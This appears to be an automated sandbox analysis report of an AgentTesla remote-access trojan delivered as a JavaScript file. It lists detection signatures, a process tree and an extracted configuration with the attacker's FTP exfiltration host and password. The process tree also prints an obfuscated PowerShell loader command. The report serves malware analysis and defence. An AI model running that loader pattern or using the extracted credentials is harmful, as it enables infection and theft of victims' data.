Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
01/06/2026, 08:16
General
- Target _600ecf66aee0d3e87602f212e4c4d4b676342005d90c54bc25def50b1243205e.js
- Size 317KB
- Sample260601-j6md6ahs7n
- SHA256 600ecf66aee0d3e87602f212e4c4d4b676342005d90c54bc25def50b1243205e
Malware Config
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.omrat.ee
-
Port
21
-
Username
-
Password
playingboyz231
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies registry class 21 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\_600ecf66aee0d3e87602f212e4c4d4b676342005d90c54bc25def50b1243205e.js1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" Z:\port\can\windows2⤵
- Enumerates connected drives
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Aktiedepo=($HOME+'/app'+'data/local/Ejend125');$Vedgaae=gc $Aktiedepo;$Bibliot=$Vedgaae[3914]+$Vedgaae[3915]+$Vedgaae[3916]; . ($Bibliot) $Vedgaae"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Aktiedepo=($HOME+'/app'+'data/local/Ejend125');$Vedgaae=gc $Aktiedepo;$Bibliot=$Vedgaae[3914]+$Vedgaae[3915]+$Vedgaae[3916]; . ($Bibliot) $Vedgaae"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_lj03cifx.cyp.ps1
Uspiseligh.Til
Ejend125
memory/3356-32-0x00000000078E0000-0x0000000007976000-memory.dmp
memory/3356-35-0x0000000008170000-0x0000000008716000-memory.dmp
memory/3356-19-0x0000000005BA0000-0x0000000005BC2000-memory.dmp
memory/3356-21-0x0000000006370000-0x00000000063D6000-memory.dmp
memory/3356-28-0x0000000006460000-0x00000000067B7000-memory.dmp
memory/3356-18-0x0000000005C60000-0x000000000628A000-memory.dmp
memory/3356-30-0x0000000006900000-0x000000000691E000-memory.dmp
memory/3356-31-0x0000000006950000-0x000000000699C000-memory.dmp
memory/3356-38-0x0000000009420000-0x000000000DE12000-memory.dmp
memory/3356-34-0x0000000006E70000-0x0000000006E92000-memory.dmp
memory/3356-33-0x0000000006E20000-0x0000000006E3A000-memory.dmp
memory/3356-20-0x0000000006290000-0x00000000062F6000-memory.dmp
memory/3356-36-0x0000000008DA0000-0x000000000941A000-memory.dmp
memory/3356-17-0x0000000005480000-0x00000000054B6000-memory.dmp
memory/3404-39-0x0000000000870000-0x0000000001B87000-memory.dmp
memory/3404-41-0x0000000000870000-0x0000000001B87000-memory.dmp
memory/3404-42-0x0000000000870000-0x00000000008B2000-memory.dmp
memory/3404-43-0x000000001FF50000-0x000000001FFE2000-memory.dmp
memory/3404-44-0x000000001FFF0000-0x0000000020040000-memory.dmp
memory/3404-45-0x000000001FF40000-0x000000001FF4A000-memory.dmp
memory/4988-10-0x0000025620820000-0x0000025620842000-memory.dmp